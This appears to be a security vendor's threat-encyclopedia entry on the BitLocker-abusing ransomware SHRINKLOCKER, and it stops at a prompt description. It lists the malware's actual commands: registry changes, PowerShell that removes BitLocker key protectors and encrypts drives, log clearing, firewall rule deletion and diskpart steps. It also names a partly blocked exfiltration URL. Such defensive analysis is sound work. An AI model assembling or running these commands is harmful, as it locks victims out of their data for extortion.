Ransom.VBS.SHRINKLOCKER.RG

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware adds the following processes:

• bcdboot {Boot Drive}:\windows /s {New Drive} → reinstall the boot files on the new primary partitions
• reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
• reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /t REG_DWORD /d 1 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /t REG_DWORD /d 1 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM /t REG_DWORD /d 2 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD /d 2 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD /d 2 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /t REG_DWORD /d 1 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f
• reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /t REG_DWORD /d 2 /f
• ServerManagerCmd -install BitLocker -allSubFeatures
• powershell.exe -Command Install-WindowsFeature BitLocker -IncludeAllSubFeature -IncludeManagementTools
• powershell.exe -Command "$protectors = (Get-BitLockerVolume -MountPoint {Target Drive}).KeyProtector; if ($protectors -ne $null) { foreach ($protector in $protectors) { Remove-BitLockerKeyProtector -MountPoint {Target Drive} -KeyProtectorId $protector.KeyProtectorId } }"
• powershell.exe -Command $a=ConvertTo-SecureString "'{Bitlocker Paassword}'" -asplaintext -force;Enable-BitLocker {Target Drive} -s -qe -pwp -pw $a
• powershell.exe -Command Resume-BitLocker -MountPoint {Target Drive}
• wevtutil -cl "Windows PowerShell"
• netsh advfirewall set allprofiles state on
• netsh advfirewall firewall delet rule name=all
• schtasks /Delete /TN "copy" /F
• schtasks /Delete /TN "disk" /F

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = 1

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
scforceoption = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseAdvancedStartup = 1

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableBDEWithNoTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPM = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKey = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKeyPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableNonTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePartialEncryptionKey = 2

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePIN = 2

(Note: The default value data of the said registry entry is 0.)

Information Theft

This Ransomware gathers the following data:

• Hard Drive Used Space
• Hard Drive Free Space
• Hard Drive Label
• Total RAM
• Used RAM
• Available RAM
• Computer Name
• Available Fixed Drives
• Generated Bitlocker Encryption Key
• Network Performance

Stolen Information

This Ransomware sends the gathered information via HTTP POST to the following URL:

• https://{BLOCKED}ted-eating-meals-top.trycloudflare.com/updatelog

Other Details

This Ransomware does the following:

• It terminates itself if the current domain is different from its target domain.
• It terminates and deletes itself if the name of the operating system contains “xp”, “2000”, “2003”, or “vista”.
• It issues the following commands to diskpart to do the following:
  • Shrink the size of non-boot partitions by 100 MB
    • Select Volume {Target Drive}
    • shrink desired=100
    • exit
  • Split the unallocated space into new 100 MB primary partitions. Format these partitions with the override parameter, assign a file system and a drive letter to each. Activate these partitions.
    • Select Volume {Target Drive}
    • create partition primary size=100
    • format quick recommended override
    • assign
    • active
    • exit
  • Remove the drive letter from the selected partition.
    • Select Volume {New Drive}
    • remove
    • exit
• It starts the BitLocker Drive Encryption Service (BDESVC) if it is not running.
• It changes the boot drive label into the attacker’s email.
• It deletes the following files if the computer name is "MWIDC001":
  • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
  • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\Logon.vbs
  • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\disk.vbs
• It disables BitLocker's encryption key protector and deletes them. It then allows for a numerical password to be used as a protector and for encryption to be turned on.
• It generates a random encryption key for Bitlocker using the following information as seed:
  • Pre-specified characters
  • Hard Drive Used Space
  • Hard Drive Free Space
  • Total RAM
  • Used RAM
  • Available RAM
  • Network Performance
• It enables Bitlocker on the drives found in the affected machine using its generated encryption key.
• It shows the following prompt when the affected machine reboots: